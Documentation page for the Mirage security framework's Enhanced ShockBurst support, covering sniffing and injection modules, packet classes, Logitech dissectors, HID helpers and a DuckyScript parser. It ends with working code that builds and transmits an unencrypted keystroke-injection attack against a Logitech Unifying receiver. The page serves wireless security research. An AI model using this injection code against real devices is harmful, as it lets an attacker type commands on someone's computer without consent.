Enhanced ShockBurst protocol

Mirage includes a lot of software components allowing to communicate with Enhanced ShockBurst (ESB) devices. This page presents a subset of these components, and provides some basic examples presenting their usage.

Enhanced ShockBurst modules

Mirage includes many modules allowing to analyze the security of Enhanced ShockBurst communications. These modules can perform attacks or useful actions in order to manipulate a Enhanced ShockBurst device. The available modules and the links to the corresponding documentation pages are listed in the following table :

Name

Description

Documentation

esb_info

This module displays useful informations about a given interface.

here

esb_scan

This module performs a scan in order to discover Enhanced ShockBurst devices.

here

esb_sniff

This module sniffs the Enhanced ShockBurst frames.

here

esb_inject

This module allows to inject some Enhanced ShockBurst frames.

here

esb_ptx

This module simulates an Enhanced ShockBurst PTX (transmitter).

here

esb_prx

This module simulates an Enhanced ShockBurst PRX (receiver).

here

Importing the Enhanced ShockBurst software components

Every software component described in this page can be easily imported from a module or a scenario environment using the following statement :

from mirage.libs import esb

Then, every component is available using the esb namespace :

packet = esb.ESBAckResponsePacket(address="11:22:33:44:55")

Interacting with the protocol

Mirage currently allows to interact with the Enhanced ShockBurst protocol using an NRF24-based device, embedding the RFStorm firmware written by Bastille Research. The supported Devices are listed here.

If you want to manipulate a specific device, you need to use the corresponding Emitter and / or Receiver with an interface related to your device. The following page explains how to use these software components.

Enhanced ShockBurst packets

Mirage manipulates the Enhanced ShockBurst packets as child classes of ESBPacket (mirage.libs.esb_utils.packets.ESBPacket), which is itself a child class of Packet (mirage.libs.wireless_utils.packets.Packet). The following list describes the available packets and provides some links to the corresponding documentation pages :

Please keep in mind that Enhanced ShockBurst only provides a physical and a link layer: the applicative layers are defined by the manufacturers itself. Mirage currently implements the Logitech Unifying applicative layer. If you use a sniffer such as RFStorm, some additional informations provided by the sniffer can be included in the packet using the additionalInformations attribute. The additional informations are stored as instance of the class ESBSniffingParameters (mirage.libs.esb_utils.packets.ESBSniffingParameters).

Enhanced ShockBurst Dissectors

Some Enhanced ShockBurst packets may include complex fields, that’s why Mirage provides some dissectors allowing to easily manipulate them. A dissector is a class allowing to easily convert a complex data structure to the corresponding raw bytes, or the raw bytes to the corresponding data structure. Every Enhanced ShockBurst dissectors inherits from Dissector (mirage.libs.wireless_utils.dissectors) and are documented here.

The Dissector class includes some magic methods in order to facilite the manipulation of the complex data structure. Indeed, it is represented as a dictionary, but every key of this dictionary can be accessed as a standard attribute of the class. Two main methods are provided, build (allowing to convert the data structure to the corresponding raw bytes) and dissect (allowing to convert the raw bytes to the corresponding data structure). The complex data structure is stored in the attribute named content while the raw bytes are stored in the attribute named data.

Mirage provides a dissector for the mouse position and keystroke fields linked to the Logitech Unifying applicative layer (mirage.libs.esb_utils.dissectors.LogitechMousePosition and mirage.libs.esb_utils.dissectors.LogitechKeystroke):

Example
>>> LogitechMousePosition(data=bytes.fromhex("feafff"))
MousePosition(x=-2,y=-6)
>>> LogitechMousePosition(data=bytes.fromhex("feafff")).x
-2
>>> LogitechMousePosition(data=bytes.fromhex("feafff")).y
-6
>>> LogitechMousePosition(x=-2,y=-6).data.hex()
'feafff'
Example
>>> LogitechKeystroke(locale="fr",key="a",ctrl=False,gui=False,alt=False,shift=False)
Keystroke(key=a,ctrl=no,alt=no,shift=no,gui=no)
>>> LogitechKeystroke(locale="fr",key="a",ctrl=False,gui=False,alt=False,shift=False).data.hex()
'00140000000000'

Acknowledgment packets

The Enhanced ShockBurst protocol allows to manipulate two main roles: PTX (transmitter) and PRX (receiver). If you want to implement the behaviour of a PRX device, you should be able to transmit acknowledgment packets. Mirage provides a simple implementation of these packets thanks to ESBAckResponsePacket. The supported device allows to automatically transmit this frame when an incoming packet is received, thanks to the AutoACK mode. You can enable and disable this mode using the following shared methods:

Example
>>> self.emitter.enableAutoAck()
>>> self.emitter.sendp(esb.ESBAckResponsePacket(address='11:22:33:44:55',payload=bytes.fromhex("AABBCCDDEEFF"))

If no frame is provided, then an acknowledgment frame containing an empty payload will be automatically transmitted.

HID helpers

The Enhanced ShockBurst protocol is commonly used by wireless mices and keyboards. As a consequence, it may be useful to manipulate the HID protocol, which is generally used in this context. In order to facilitate the interaction with this kind of devices, Mirage provides some HID helpers.

As an example, the HIDMapping class allows to convert a key to its code and modifiers and vice versa:

Example
>>> HIDMapping(locale="fr").getHIDCodeFromKey(key="a")
(20, 0)
>>> HIDMapping(locale="us").getHIDCodeFromKey(key="t",ctrl=True,alt=True)
(23, 5)
>>> HIDMapping(locale="fr").getKeyFromHIDCode(20,0)
'a'
>>> HIDMapping(locale="us").getKeyFromHIDCode(23,0)
't'

DuckyScript parser

The DuckyScript is a Domain Specific Language (DSL) allowing to describe a keystroke injection. It has initially been designed in order to control an offensive hardware component called RubberDucky, allowing to perform keystrokes injection attacks. As a consequence, this language is really interesting if you try to perform keystrokes injection attacks against a wireless mouse or keyboard. Mirage includes a simple parser (DuckyScriptParser) allowing to generate a list of packets to inject according to a provided DuckyScript file.

In order to use this class, you must define four functions that returns the sequence of packets for a given action:

  • textFunction: function corresponding to text injection

  • keyFunction: function corresponding to keystroke injection

  • sleepFunction: function corresponding to a sleep interval

  • initFunction: function corresponding to the initialization of the process

As an example, the following code snippet shows how to use this class in order to generate an unencrypted keystroke injection targeting a Logitech Unifying device:

def addLogitechKeystroke(locale="fr",key="a",ctrl=False, alt=False, gui=False,shift=False):
        keystrokes = []
        keystrokes.append(esb.ESBLogitechUnencryptedKeyPressPacket(address="11:22:33:44:55",locale=locale,key=key,ctrl=ctrl,alt=alt,gui=gui,shift=shift))
        keystrokes.append(wireless.WaitPacket(time=12/1000.0))
        keystrokes.append(esb.ESBLogitechKeepAlivePacket(address="11:22:33:44:55",timeout=1200))
        keystrokes.append(esb.ESBLogitechUnencryptedKeyReleasePacket(address="11:22:33:44:55"))

        return keystrokes

def addLogitechDelay(duration=1000):
        keystrokes = []
        number = int(duration / 10.0)
        for _ in range(number):
                keystrokes.append(esb.ESBLogitechKeepAlivePacket(address="11:22:33:44:55",timeout=1200))
                keystrokes.append(wireless.WaitPacket(time=10.0/1000.0))
        return keystrokes

def addLogitechText(string="hello world !",locale="fr"):
        keystrokes = []
        for letter in string:
                keystrokes += self.addLogitechKeystroke(key=letter,locale=locale)
        return keystrokes

def startLogitechInjection(timeout=1200):
        keystrokes=[esb.ESBLogitechSetTimeoutPacket(address="11:22:33:44:55",timeout=1200)]
        return keystrokes

parser = parsers.DuckyScriptParser(filename="/tmp/ducky.txt")
attackStream = parser.generatePackets(
                textFunction=addLogitechText,
                initFunction=startLogitechInjection,
                keyFunction=addLogitechKeystroke,
                sleepFunction=addLogitechDelay
                )
emitter.sendp(*attackStream)